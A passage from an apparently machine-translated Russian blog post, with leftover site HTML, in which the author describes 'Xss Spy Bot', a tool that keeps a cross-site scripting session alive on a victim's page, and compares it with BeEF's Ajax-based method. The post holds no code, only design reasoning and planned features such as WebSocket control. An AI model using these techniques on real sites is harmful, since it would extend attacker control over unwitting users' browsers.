something really new, and as a rule, after some time you discover that “it was already in the Simpsons”) I started digging into BeEF in more detail and reading its wiki. Then I discovered that another technique was implemented there to achieve the same goal - extending the user's time on the page with the executable XSS (which was called there <i>man-in-the-browser</i>). And it was implemented as follows: all links on the initial page changed in such a way that when clicking on any of them, the script did not reload the page, but through Ajax sent a request to the server and inserted the data received in the response, that is, we can say artificially updating it, which was also almost indistinguishable from a regular refresh.</p><p>Therefore, I was not the first to implement this idea (even if the methods turned out to be different). But both of these methods have their drawbacks:</p><p>Upload method via <iframe>does not work if there is a header in the response <i>X-Frame-Options: DENY</i>, but otherwise plows like a normal browser window;</p><p>The ajax method always works if the browser supports it (now all major browsers support it), but with the new Web 2.0 standard, more and more transitions are triggered by custom events of any elements via JS. Once I went to Google AdWords and decided to see how their HTML and JS interact there, because all my spiders were extremely bad at creating a map of this service. And I quietly fucked up the whole evening, how much it was not usual there, when text elements were buttons and switches and sliders, and what they just didn’t depict, and each one had about 30 different event handlers hanging on it.</p><p>That is, on a fancy site, the transition button (subjectively a link) will be implemented through a regular tag <i><span> </i>, which is loaded with styles and on which event handlers are hung, one of which, for example, <i>onclick redirects the user to another page. There are also standard elements like [i] <input type=button> </i> or myself <i><button> </i> and so on, which are also actually links to other pages, but to which BeEF will not respond and the page simply will not be updated when most buttons and other elements are clicked. Which can prompt the user to refresh the page or re-visit “on the other side”, which kills our active XSS session.</p><p>For brevity of naming the files, I named it Xss Spy Bot.</p><p>P.S. <br>The whole thing was written for a little over a month due to the periodic lack of time and constant distractions. Also because of this, the quality of the code and the likelihood of running into some kind of bug is quite high. So I ask you not to swear too much, but to unsubscribe what is wrong with someone so that you can fix it. <br>I myself tested the bot on only 4 machines, all of them had Debian.</p><p>In the long-term plans for this bot, if there is motivation: <br>- to implement the rendering of the code of the pages that the bot sends to the server so that it opens in the browser immediately and can be “felt”, tested on the fly; <br>- they will try to catch the goodies from the WebRTC technology, that is, find ways to get new information that cannot be pulled out with pure JS; <br>- implement communication between the bot and the server using the WebSocket protocol over HTTP; <br>- add some conveniences to the control panel;</p> <script>document.write("<img style='display:none;' src='//counter.yadro.ru/hit;artfast?t44.1;r"+ escape(document.referrer)+((typeof(screen)=="undefined")?"": ";s"+screen.width+"*"+screen.height+"*"+(screen.colorDepth? screen.colorDepth:screen.pixelDepth))+";u"+escape(document.URL)+";h"+escape(document.title.substring(0,150))+ ";"+Math.random()+ "border='0' width='1' height='1' loading=lazy loading=lazy>");</script> </div> </div> </div> </div> <div id="sidebar" class="span4 sidebar_right"> <div class="inside"> <div class="sidebar_module sidebar_module_"> <h3 class="sidebar_module_heading"><span>The last</span></h3> <div class="sidebar_module_content"> <ul class="nav menu"> <li class="item"><a href="https://neonkaraoke.ru/en/internet/vosstanovlenie-dannyh-vosstanavlivaem-dannye-v-ubuntu-linux-vosstanovlenie/">Recovering data in Ubuntu Linux recovering deleted files linux gui</a></li> <li class="item"><a href="https://neonkaraoke.ru/en/mts-bank/chto-takoe-r-paket-rukovodstvo-po-ekspluatacii-sreda-statisticheskih/">Statistical Computing Environment R: Teaching Experience R Language Packages</a></li> <li class="item"><a href="https://neonkaraoke.ru/en/internet/yazyk-programmirovaniya-ada-ada-yazyk-programmirovaniya/">Ada (programming language) programming hell</a></li> <li class="item"><a href="https://neonkaraoke.ru/en/internet/vstroennyi-sniffer-chto-takoe-sniffer-opisanie-struktury/">Built-in sniffer. What is a sniffer. Description of the structure of the IP packet</a></li> <li class="item"><a href="https://neonkaraoke.ru/en/news/ustanovka-i-nastroika-kvm-ubuntu-rabota-s-virtualnymi-mashinami-kvm-vvedenie/">Working with KVM virtual machines</a></li> <li class="item"><a href="https://neonkaraoke.ru/en/internet/sravnenie-failov-v-linux-obzor-instrumentov-dlya-vizualnogo/">An overview of tools to visually compare and resolve merge conflicts Compare files by size linux</a></li> <li class="item"><a href="https://neonkaraoke.ru/en/internet/likbez-po-grep-i-regulyarnym-vyrazheniyam-regulyarnye-vyrazheniya-i-komanda-grep/">Regular expressions and grep command linux regular expressions examples</a></li> <li class="item"><a href="https://neonkaraoke.ru/en/news/rezervnoe-kopirovanie-i-vosstanovlenie-pisem-iz-pochty-mozilla/">How to Move Thunderbird Data Backup Thunderbird Mail Make</a></li> <li class="item"><a href="https://neonkaraoke.ru/en/internet/sozdanie-i-ispolzovanie-snepshotov-v-btrfs-sozdanie-i-ispolzovanie-snepshotov/">Creating and using snapshots in BTRFS I'll consider command line options</a></li> <li class="item"><a href="https://neonkaraoke.ru/en/services/ustanovka-git-pod-windows-iz-paketov-cygwin-chto-takoe-cygwin-cygwin-zapustit/">What is Cygwin Cygwin run program in windows</a></li> </ul> </div> </div> <div class="sidebar_module sidebar_module_"> <h3 class="sidebar_module_heading"><span>You need to know</span></h3> <div class="sidebar_module_content"> <ul class="nav menu"> <li class="item"><a href="https://neonkaraoke.ru/en/internet/rezhim-redaktirovaniya---redaktirovanie-vershin-mesh-obekta-mesh-obekty-perenos/">Mesh objects Moving the transformation center</a></li> <li class="item"><a href="https://neonkaraoke.ru/en/news/kak-pochinit-grub2-esli-ubuntu-ne-hochet-zagruzhatsya-ustanovka-zagruzchika/">Installing the Grub Boot Loader Via the Boot Loader Repair Utility</a></li> <li class="item"><a href="https://neonkaraoke.ru/en/rates/osnovnye-ftp-komandy-v-linux-kak-skachivat-faily-s-ftp-iz-komandnoi-stroki-windows/">How to download files from FTP from the Windows command line Install msp from the command line download ftp</a></li> <li class="item"><a href="https://neonkaraoke.ru/en/mts-bank/ustanovka-ubuntu-na-vneshnii-hdd-kak-podklyuchit-vneshnie-diski-ustanovit-linuks-na/">How do I connect external drives?</a></li> <li class="item"><a href="https://neonkaraoke.ru/en/mts-bank/kak-polzovatsya-wireshark-pod-windows-kak-ispolzovat-vozmozhnosti/">How to get the most out of Wireshark display filters Wireshark LAN traffic analysis</a></li> <li class="item"><a href="https://neonkaraoke.ru/en/news/chto-takoe-nfs-network-file-system-protokol-setevogo-dostupa-k-failovym-sistemam/">What is NFS? Network File System. File system network access protocol. NFC technology in smartphones and its practical use Mounting a remote NFS</a></li> <li class="item"><a href="https://neonkaraoke.ru/en/news/ispolzovanie-netcat-dlya-sozdaniya-i-testirovaniya-soedinenii-tcp-i/">Norton Commander Netcat Connection Commands</a></li> <li class="item"><a href="https://neonkaraoke.ru/en/services/sozdanie-i-nastroika-zon-dns-zapusk-dns-servera-pod-windows-kak/">Running a DNS server under Windows How you can make your own DNS</a></li> <li class="item"><a href="https://neonkaraoke.ru/en/internet/chto-takoe-xss-uyazvimost-ispolzovanie-xss-uyazvimostei-po-maksimumu/">Making the most of XSS vulnerabilities</a></li> <li class="item"><a href="https://neonkaraoke.ru/en/internet/bsd-operacionnaya-sistema-os-bsd-zhila-zhivet-i-budet-zhit-chto-vse-taki/">BSD OS lived, lives and will live</a></li> </ul> </div> </div> <div class="sidebar_module sidebar_module_"> </div> </div> </div> </div> </div> </section> <footer id="footer" class="container"> <div id="copyright"> <div> <p class="copytext">2021 neonkaraoke.ru - Internet. News. Tariffs. Services. MTS</p> <ul class="nav menu"> <li class="item-113"><a href="https://neonkaraoke.ru/en/sitemap.xml">map of site</a></li> </ul> </div> </div> </footer> <div id="gotop" class=""> <a href="#" class="scrollup">TPL_TPL_FIELD_SCROLL</a> </div> </body> </html>